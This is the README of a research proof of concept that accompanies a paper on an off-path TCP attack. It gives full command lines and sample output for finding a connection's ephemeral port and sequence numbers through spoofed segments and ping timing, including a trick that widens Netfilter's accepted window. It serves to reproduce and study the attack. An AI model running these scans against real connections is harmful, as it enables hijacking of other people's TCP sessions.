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This proof of concept was used to obtain experimental results presented in the 'Reflection Scan: an Off-Path Attack on TCP'. The code is provided to allow reproduction of the experimental results and to be a starting point for further experiments in different setups. The proof of concept is not intended to be fully automatic 'fire and forget' TCP session hijacking tool. Some steps, that from the attack perspective do not introduce any fundamental difficulties, are omitted (determining window size, finding SND.NXT after in window sequence number is found, finding the second end point's SND.NXT). The user is expected to have a good understanding of the paper. Command line parameters may need to be tuned to a particular experimental setup. Preferably, the user should be able to sniff victim's machine network traffic to make sure TCP layer is receiving spoofed segments and responds to them in an expected way. In the examples below Alice is the target of spoofed traffic, Bob is her peer. The connection uses a server port 5455 and an ephemeral port 11235. Environment variables A and B hold Alice's and Bob's IP addresses. C holds an IP address of a machine to which ping probes are sent. Ping probes must share at least one routing queue with segments reflected by Alice. Preferably, the pinged machine should be as close to the attacker as possible to reduce duration of the attack (in the paper, C was a router one hop beyond an edge router connecting Alice and the attacker to the Internet). ================================================================================ Setup 'make' compiles the code (libnet is required). The tool requires root privileges (to send spoofed IP packets and frequent ping probes). ================================================================================ Finding an ephemeral port number (Linux with Netfilter and Windows XP). The most important thing is to determine if, in a given setup, the attacker can detect traffic spikes caused by the reflection of a sequence of spoofed segments. The easiest way to do it, is to perform a port scan of a small range that contains an ephemeral port in use: ./reflection_scan.py --alice_host=$A --bob_host=$B --bob_port=5455 \ --ping_destination=$C --scan_mode='port' --range_start=11230 \ --range_end=11240 --segment_cnt=30 --pings_per_query=5 \ --sequential_sweep The command sends 30 spoofed segments to each port in a range [11230, 11240). For each probed port 5 pings are sent to C. In the 'sequential_sweep' mode the tool does not try to determine a correct ephemeral port, but just prints ping results in a following form: [scanned port, lost pings, standard deviation, average RTT] 11230 0 0.497 20.347 11231 0 2.893 22.193 11232 0 1.825 21.289 11233 0 0.314 20.359 11234 0 0.622 20.357 11235 4 0.000 21.072 <------- loss ratio spike 11236 0 4.121 23.269 11237 0 4.193 22.668 11238 0 2.913 21.820 11239 0 2.379 22.573 There should be a spike (not necessarily the only one) in loss ratio or in average RTT when a correct port is scanned. If there is no visible spike --segment_cnt and/or --pings_per_query can be increased (but the values, especially pings_per_query, should be kept as small as possible to reduce the attack duration). If this does not help, the sniffer should be used to determine that the victim indeed receives spoofed segments and responds to them only if a correct ephemeral port is scanned. Once the result for a single port is visible, the user can determine how many ports per query can be probed to still generate a visible spike: ./reflection_scan.py --alice_host=$A --bob_host=$B --bob_port=5455 \ --ping_destination=$C --scan_mode='port' --range_start=10200 \ --range_end=12200 --segment_cnt=30 --pings_per_query=5 \ --steps_per_query=200 --sequential_sweep The command scans 200 ports per query, a spike is still visible: [scanned port range, lost pings, standard deviation, average RTT] 10200-10399 0 0.478 20.414 10400-10599 0 0.339 20.578 10600-10799 0 1.798 22.121 10800-10999 0 1.549 21.444 11000-11199 0 1.402 21.606 11200-11399 2 9.366 32.083 <------- loss ratio spike 11400-11599 0 5.839 25.319 11600-11799 0 1.669 21.327 11800-11999 0 0.343 21.083 12000-12199 0 10.496 35.578 From the performance perspective it does not make sense to scan more than 250 ports per query. Knowing the parameters that induce a visible spike, the user can try to automatically find an ephemeral port in the full space of 2^16 ports: ./reflection_scan.py --alice_host=$A --bob_host=$B --bob_port=5455 \ --ping_destination=$C --scan_mode='port' --segment_cnt=30 \ --pings_per_query=5 --steps_per_query=200 'sequential_sweep' mode is off: the tool repeatedly re-executes queries for which RTT spike was measured until a single query is left. When a range of ports is found, the tool searches for a correct port within the range. At the end, the port is printed to stdout. ================================================================================ Finding the Alice's sequence number (Linux with Netfilter). It is recommended to first experiment to check that acknowledge number that lies within 'largest sender window seen' is indeed accepted and other values are dropped. A command below covers a small range of [1000000000, 1001000000] acknowledge numbers with values that differ by 66000 (--range_step parameter). ./reflection_scan.py --alice_host=$A --alice_port=11235 --bob_host=$B \ --bob_port=5455 --ping_destination=$C --scan_mode='ack' \ --segment_cnt=30 --pings_per_query=5 --range_start=1000000000 \ --range_end=1001000000 --range_step=66000 --sequential_sweep --range_step is for sure not smaller than 66000 (see the paper) and can be increased if a window used by Bob is larger. As in case of an ephemeral port searching, an acceptable value should induce a RTT spike. The paper describes how Netfilter can be fooled to increase the value of 'maximum sender window seen'. To do it, execute: ./reflection_scan.py --alice_host=$A --alice_port=11235 --bob_host=$B \ --bob_port=5455 --ping_destination=$C --scan_mode='ack' \ --segment_cnt=1 --pings_per_query=1 --range_step=66000 \ --steps_per_query=1000000 --sequential_sweep Ignore results, the command is not intended to find anything. It covers the whole space of 2^32 acknowledge numbers with values that differ by 66000. Spoofed segments have window size set to 0xFFFF, one of the segments should be accepted by Netfilter and should increase 'maximum sender window seen' to the maximum value allowed by the scalling factor in use. Once the window is increased, scanning the full space should be very fast: ./reflection_scan.py --alice_host=$A --alice_port=11235 --bob_host=$B \ --bob_port=5455 --ping_destination=$C --scan_mode='ack' \ --segment_cnt=30 --pings_per_query=5 --steps_per_query=20 \ --range_step=8388480 --range_step is set to the maximum window allowed by the Bob's window scaling factor (see the paper). For maximum performance set steps_per_query to sqrt(2^32/range_step) (this ensures work is equally divided between an initial range scan and a subsequent sequential scan). ================================================================================ Finding Bob's sequence number (Windows XP or other system that closely follows RFC 793 processing rules). Again, it is recommended to first scan a limited range of sequence numbers that overlaps a window to make sure the changes in RTT are detectable. A command below covers a small range of [1000000000, 100300000] sequence numbers with values that differ by 65535 (--range_step parameter). For each value two acknowledge numbers that differ by 2^31 are probed. ./reflection_scan.py --alice_host=$A --alice_port=11235 --bob_host=$B \ --bob_port=5455 --ping_destination=$C --scan_mode='sqn' \ --segment_cnt=30 --pings_per_query=5 --range_start=1000000000 \ --range_end=1000300000 --range_step=65535 --sequential_sweep [scanned sequence number(ack), lost pings, standard deviation, average RTT] 1000000000( 123) 4 0.000 19.956 1000000000(2147483770) 4 0.000 33.670 1000065535( 123) 4 0.000 20.219 1000065535(2147483770) 0 26.579 101.550 1000131070( 123) 2 18.021 180.806 1000131070(2147483770) 4 0.000 20.552 1000196605( 123) 0 3.152 24.414 <--------- loss ratio/RTT minimum 1000196605(2147483770) 4 0.000 20.029 1000262140( 123) 4 0.000 33.023 1000262140(2147483770) 4 0.000 21.489 --range_step should preferably be equal to the Alice's window size (it can be smaller, but should not be larger). When in window sequence number with an acceptable acknowledge number is probed the smallest average RTT and loss ratio should be measured. If the minimum is not clearly visible, increase segment_cnt and/or pings_per_query. To scan the whole space of 2^32 sequence numbers use: ./reflection_scan.py --alice_host=$A --alice_port=11235 --bob_host=$B \ --bob_port=5455 --ping_destination=$C --scan_mode='sqn' \ --segment_cnt=30 --pings_per_query=5 --range_step=65535 As explained in the paper, this scan is slow and less reliable than the scan that looks for a spike. Scanning several values at once is difficult and not handled by the PoC, so do not try to increase --steps_per_query.